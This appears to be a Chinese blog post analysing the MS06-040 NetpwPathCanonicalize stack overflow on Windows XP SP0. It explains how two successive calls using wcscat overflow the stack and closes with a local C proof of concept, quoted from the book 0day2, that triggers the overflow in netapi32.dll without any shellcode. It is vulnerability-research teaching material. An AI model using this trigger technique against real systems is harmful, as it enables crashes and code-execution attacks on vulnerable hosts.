ms06040粗糙分析(二)

0x01 前言

2018-07-24 23:01:57
这次分析xp sp0的溢出。因为二者产生漏洞方式的不同,分2篇文章写,上篇文章介绍了windows2000下的利用

0x02 漏洞产生原因

  • 这里回顾下windows2000产生的原因,是因为Unicode长度不能超过0x411,换算成字节为0x822,栈空间大小是ASCII开辟的空间,所以,利用unicode字符来检测边界导致的原因。

  • 而windows xp sp0下产生的原因是因为检测了prefix的指针不为空,长度为空后,直接用wcscat拼接,进行二次调用后,造成栈溢出。(为什么wcscpy是安全的,wcscat是不安全的呢,因为wcscpy是从缓冲区开始复制,而wcscat是从第一个串的0x0结束符开始拼接的,这也就是为什么要二次调用才能造成溢出的原因,这里0day2书中概括的让我等菜鸟晕头转向的,感谢网上大神。)

0x03 静态分析

  1. 从上图中可知,判断prefix变量指针是否为空,如果不为空,就跳转到loc_71BB0E2D这个位置去,接下来判断长度为0,就跳转到loc_71BA42B5位置去

  1. 然后判断Path变量的长度,不能超过0x207,不超过则把Path复制进开辟的空间

  2. 这边先暂时总结下,这里,我们的目的是要撑爆开辟的空间,所以执行第一次函数后,wcscat拼接后,这时候栈空间位于esp的低地址,只要不做栈操作或者函数调用,这里的内容是不会变动的。第二次在调用,应该就能造成溢出,问题来了。如果让第一次调用,wcscat拼接后,尽量少做栈操作,尽可能的让栈空间在低位呢?继续看IDA子函数中的尾部分

  1. loc_71BA4317处开始分析,这里有个wcslen函数操作,用来计算总的拼接长度,eax值是unicode的长度,所以才会eax+eax+2,2是2个0x00,最终在与Maxbuf参数做比较,如果eax小于我们函数中设定的最大长度,就会跳转左边loc_718B0EA9执行,最终该子函数返回值为0,也就是说,这是正常结果,因为字符串拼接的长度小于最大长度。相反,如果eax大于我们函数中设定的最大长度(Maxbuf),那么就会执行右边的流程,并且CanonicalizePathName()这个子函数返回非0结果。

  2. 我们现在分析了一大串,都是在CanonicalizePathName()这个子函数里面,为什么要让这个结果返回非0结果呢?我们返回下上层函数的IDA位置在观察下

  1. 图中call sub_718A428B就是我们子函数 CanonicalizePathName(),因为edi一直为0,返回eax结果非0的话,就会跳转到loc_71BA4284位置处直接退出NetpwPathCanonicalize()函数,so 只要第一次运行NetpwPathCanonicalize函数 设置maxbuf长度为1,就会尽可能的退出,减少其他不必要的干扰开辟的空间,第二次在进行wcscat拼接就可造成栈溢出。

0x04 0day2中的本地poc代码


\#include <windows.h> typedef void (__stdcall * MYPROC)(LPTSTR); #define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410 int main() { char PathName1[PATH1_SIZE]; char PathName2[PATH2_SIZE]; char Outbuf[OUTBUF_SIZE]; int OutbufLen=OUTBUF_SIZE; char Prefix1[PREFIX_SIZE]; char Prefix2[PREFIX_SIZE]; long PathType1=44; long PathType2=44; //load vulnerability netapi32.dll which we got from a WINXP sp0 host HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll"; // care for the path char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); // fill PathName memset(PathName1,0,sizeof(PathName1)); memset(PathName1,0,sizeof(PathName1)); memset(PathName1,'a',sizeof(PathName1)-2); memset(PathName2,0,sizeof(PathName2)); memset(PathName2,0,sizeof(PathName2)); memset(PathName2,'b',sizeof(PathName2)-2); // set Prefix as a null string memset(Prefix1,0,sizeof(Prefix1)); memset(Prefix2,0,sizeof(Prefix2)); // call NetpwPathCanonicalize several times to overflow (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0); (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0); FreeLibrary(LibHandle); }

发表评论

电子邮件地址不会被公开。 必填项已用*标注